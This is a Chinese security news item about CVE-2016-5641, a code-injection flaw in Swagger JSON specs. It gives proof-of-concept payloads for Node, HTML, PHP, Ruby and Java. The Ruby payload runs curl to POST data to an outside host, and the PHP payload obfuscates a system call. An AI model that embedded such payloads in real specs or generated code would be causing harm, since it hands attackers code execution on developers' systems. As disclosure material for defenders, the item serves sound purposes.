Loading
0

Swagger曝远程代码执行漏洞,影响Java、PHP、NodeJS等众多开发语言

漏洞简述

Swagger规格被广泛的使用在Html、PHP、Java和 Ruby等流行语言开发的应用中,其最近被曝出远程代码执行漏洞,潜在影响到了Java、PHP、NodeJS和 Ruby等流行语言开发的应用。这个漏洞的CVE编号为CVE-2016-5641。该漏洞属于参数注入漏洞,能够在Swagger JSON文件中嵌入恶意代码。如凡是使用Swagger API的应用程序都会受到影响。Rapid7社区的安全研究人员目前公开了该漏洞的技术细节和修补方案。

swagger2.png

EXP

javascript (node)

“paths”: {          

     ”/a’);};};return exports;}));console.log(‘RCE’);(function(){}(this,function(){a=function(){b=function(){new Array(‘”: {  

html

“info”: { “description”: “<script>alert(1)</script>”,

php

“definitions”: {          

     ”d”: {              

          “type”: “object”,              

          “description”: “*/ echo system(chr(0x6c).chr(0×73)); /*”,  

ruby

“info”: {          

     ”description”: “=begin”,  

     ”title”: “=end `curl -X POST -d \”fizz=buzz\” http://requestb.in/1ftnzfy1`”  

Java

“paths”: {          

     ”/a\”; try{java.lang.Runtime.getRuntime().exec(\”ls\”);}catch(Exception e){} \”":   

修复简述

仔细检查Swagger特定语言的转义字符,比如对{}符号谨慎使用。详情请参考该链接

【声明】:8090安全小组门户(http://www.8090-sec.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们:邮箱hack@ddos.kim,我们会在最短的时间内进行处理。